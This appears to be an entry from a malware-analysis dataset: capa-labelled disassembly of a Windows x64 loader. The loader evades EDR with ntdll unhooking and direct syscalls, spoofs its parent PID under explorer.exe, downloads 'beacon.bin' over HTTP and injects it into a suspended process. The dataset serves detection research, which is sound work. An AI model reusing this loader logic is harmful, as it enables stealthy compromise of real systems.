joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c2d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x14000c4fe
mov word [rbp + 0x50], 0x6f43
mov word [rbp + 0x58], 0x6f43
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000c384
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x14000c370
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x14000c3b5
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x14000c3a0
cmp rdi, rbx
jne 0x14000c4d2
mov r13, rsi
mov word [rbp - 0x50], 0x6f43
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000c3f6
lea rcx, [rbp - 0x50]
inc rbx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x14000c3e2
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x14000c4f8
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x6f0022
call fcn.1400027f0
movzx eax, word [rax]
cmp r15d, eax
jl 0x14000c468
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x6f0039
call fcn.1400027f0
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x14000c468
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x6f0022
mov dword [rbp - 0x42], 0x6f0002
call fcn.1400027f0
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.1400027f0
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x6f0022
call fcn.1400027f0
movzx eax, word [rax]
cmp edi, eax
jl 0x14000c4c5
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x6f0039
call fcn.1400027f0
movzx ecx, word [rax]
cmp edi, ecx
jg 0x14000c4c5
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x6f0022
mov dword [rbp - 0x32], 0x6f0002
call fcn.1400027f0
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.1400027f0
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x14000c4d2
inc r14
jmp 0x14000c3d0
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x14000c4fe
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x14000c340
mov rax, qword [rbp - 8]
jmp 0x14000c500
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fb70
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x77
mov dword [rbp - 0x20], 0x2a0008
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x3d003c
mov dword [rbp - 0x18], 0x210030
mov dword [rbp - 0x14], 0x330027
mov dword [rbp - 0x10], 0x4c0020
call fcn.140005e60
mov rcx, rax
call 0x14000fb70
mov qword [0x14001a1b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x73
mov dword [rbp - 0x20], 0x2a0008
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x3d003c
mov dword [rbp - 0x18], 0x210030
mov dword [rbp - 0x14], 0x400056
call fcn.140002590
mov rcx, rax
call 0x14000fb70
lea rcx, [rbp - 0x20]
mov qword [0x14001a1a8], rax
mov dword [rbp - 0x20], 0x1b002d
mov dword [rbp - 0x1c], 0x1f000a
mov dword [rbp - 0x18], 0x6d0019
call fcn.140005ca0
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000fb70
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000fbd2
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000fdc0
test al, al
jne 0x14000fbe4
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000fba0
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400019b0
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x31a23f35
nop
call fcn.1400018c8
add rsp, 0x28
xor rdx, rdx
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x1400019f9
Capabilities:
Execute syscall

Disassembly:
push rbx
pop rbx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3952937
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001a84
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
nop
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x4ed5b749
nop
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x140001acb
Capabilities:
Execute syscall

Disassembly:
push rbx
pop rbx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xf93adea8
nop
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x140001b10
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
nop
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1d950b1b
nop
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x140001be1
Capabilities:
Execute syscall

Disassembly:
push rax
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xac80b626
nop
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x140001c26
Capabilities:
Execute syscall

Disassembly:
push rax
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x22811e21
nop
call fcn.1400018c8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret
Function at 0x140001cf5
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x110], 0
mov dword [rbp - 0x20], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x118], rax
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x118]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140001e4e
jmp 0x140001e2d
mov rdx, qword [rbp + 0x130]
lea rax, [rbp - 0x20]
add rax, 0x2c
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140001e2d
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 0x18]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call fcn.140001acb
mov rax, qword [rbp + 0x110]
test rax, rax
je 0x140001e15
mov rax, qword [rbp + 0x110]
cmp rax, 0xffffffffffffffff
je 0x140001e15
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.140001a84
mov rax, qword [rbp + 0x110]
jmp 0x140001e64
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.140001a84
mov rax, 0xffffffffffffffff
jmp 0x140001e64
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x118]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x140001d5a
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.140001a84
mov rax, 0xffffffffffffffff
add rsp, 0x1a0
pop rbp
ret
Function at 0x140001e6d
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies
Spoof parent pid

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0xd0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x20]
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
lea rax, [rbp - 0x78]
mov r9, rax
mov r8d, 0
mov edx, 2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp - 0x78]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x78]
mov r9, rdx
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
movabs rax, 0x100000000000
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20007
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov rax, qword [rbp - 8]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x34], 0x80000
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x808000c
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call rax
nop
mov rax, qword [rbp + 0x20]
add rsp, 0xd0
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400022dc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
call fcn.14000b850
mov dword [rbp - 4], 0xffffffff
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x10], 0
cmp dword [rbp - 4], 0
jne 0x14000231f
lea rax, str.Doing_nothing_
mov rcx, rax
call fcn.140001450
lea rax, str.explorer.exe
mov rcx, rax
call fcn.140001cf5
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0xffffffffffffffff
jne 0x140002343
mov eax, 0
jmp 0x14000254d
call fcn.14000202e
test eax, eax
sete al
test al, al
je 0x14000237c
lea rax, str.ntdll_unhooked_
mov rdx, rax
mov rax, qword [0x1400c0ee0]
mov rcx, rax
call fcn.1400b2d50
mov rcx, rax
mov rax, qword [str.0_f_v_]
mov rdx, rax
call fcn.140076a70
lea rax, [rbp - 0x70]
mov rdx, qword [rbp - 0x18]
mov r8, rdx
lea rdx, str.explorer.exe
mov rcx, rax
call fcn.140001e6d
mov rax, qword [rbp - 0x70]
cmp rax, 0xffffffffffffffff
je 0x1400023aa
mov rax, qword [rbp - 0x68]
cmp rax, 0xffffffffffffffff
jne 0x1400023b4
mov eax, 0
jmp 0x14000254d
mov rax, qword [rbp - 0x70]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x28], rax
lea rax, str.beacon.bin
mov qword [rbp - 0x30], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.HTTP_Downloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
je 0x140002548
mov ecx, dword [0x1400b7fa4]
lea rdx, [rbp - 0x74]
mov rax, qword [rbp - 0x40]
mov r9, rdx
mov r8d, ecx
lea rdx, [0x1400e7040]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp - 0x44], eax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [0x1400b7fa4]
mov r8d, 0
mov rdx, rax
call fcn.140001b10
mov dword [rbp - 4], eax
mov eax, dword [0x1400b7fa4]
mov r8d, eax
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x20]
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov r9, r8
lea r8, [0x1400e7040]
mov rcx, rax
call fcn.1400019f9
mov dword [rbp - 4], eax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20
lea r8, [0x1400b7fa4]
mov rdx, rax
call fcn.1400019b0
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x50]
mov rdx, rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call fcn.140001be1
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
call fcn.140001c26
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.140001a84
mov rax, qword [rbp - 0x28]
mov rcx, rax
call fcn.140001a84
mov eax, 0
add rsp, 0xb0
pop rbp
ret
Function at 0x14000ba60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015a40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015a40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000bad0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1401e70c4]
test esi, esi
mov rbx, rcx
jle 0x14000bc00
mov rax, qword [0x1401e70c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000bb1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000bba5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000bb00
mov rcx, rbx
call fcn.14000c520
test rax, rax
mov rdi, rax
je 0x14000bc22
mov rax, qword [0x1401e70c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000c660
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401e70c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000bc07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000bb9e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000bbb0
add dword [0x1401e70c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1401e70c8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000bb9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000ba60
nop dword [rax]
xor esi, esi
jmp 0x14000bb28
mov rax, qword [0x1401e70c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14000ba60
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14000ba60
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c190
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401e7120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401e7100]
test rbx, rbx
je 0x14000c1ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000c1e3
test rsi, rsi
je 0x14000c1e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c1c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000c520
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1470]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c540
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c548
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c540
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c59d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000c594
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c540
add rax, 0x28
cmp rax, r9
jne 0x14000c580
xor eax, eax
ret

Function at 0x14000c5a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1470]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c5bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c5c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c5bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c660
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1470]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000c67f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000c688
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140018010
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
mov qword [rsp + 0x20], rax
movabs rax, 0x7520676e696e6165
mov qword [rsp + 0x28], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x30], rax
movabs rax, 0x20726f6620737965
mov qword [rsp + 0x38], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x87], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14001811a
lea rcx, [rsp + 0x20]
mov eax, 0x28
jmp 0x1400180f2
add rax, 1
cmp rax, 0x6b
je 0x14001810f
cmp byte [rcx + rax], 0
jne 0x1400180e8
cmp eax, 0x6a
movsxd rdx, eax
je 0x14001810f
add eax, 1
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
lea rcx, [rsp + 0x20]
mov eax, 0x28
mov edx, 0x27
jmp 0x140018103
Function at 0x140018490
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x1401e7d40], 1
je 0x140018508
lea rdi, [0x1401e7d40]
mov rcx, rdi
call fcn.140017d90
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call fcn.1400176a0
mov esi, dword [0x1401e7d40]
test esi, esi
jne 0x140018518
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x1400b8128], eax
je 0x1400b66a6
mov dword [0x1401e7d40], 1
mov rcx, rbp
call fcn.140017990
test rbx, rbx
je 0x140018508
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.140018130
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x1400184e8
mov ecx, 2
call qword [fcn.140015a40]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sub.msvcrt.dll_fprintf
jmp 0x1400184e8
call sub.msvcrt.dll_abort
nop

Function at 0x140018540
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call fcn.140018240
cmp qword [0x1401ea048], 0
mov rbx, rax
je 0x140018658
test rax, rax
je 0x140018658
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.140017c90
cmp eax, 1
je 0x140018666
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
lea r9, [rbx + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je fcn.1400b66ac
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400b8128]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14001866c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.140018010
nop
jmp fcn.1400b66ac

Function at 0x140018680
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140018490
mov ecx, dword [0x1400b8128]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400186a0
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.140018540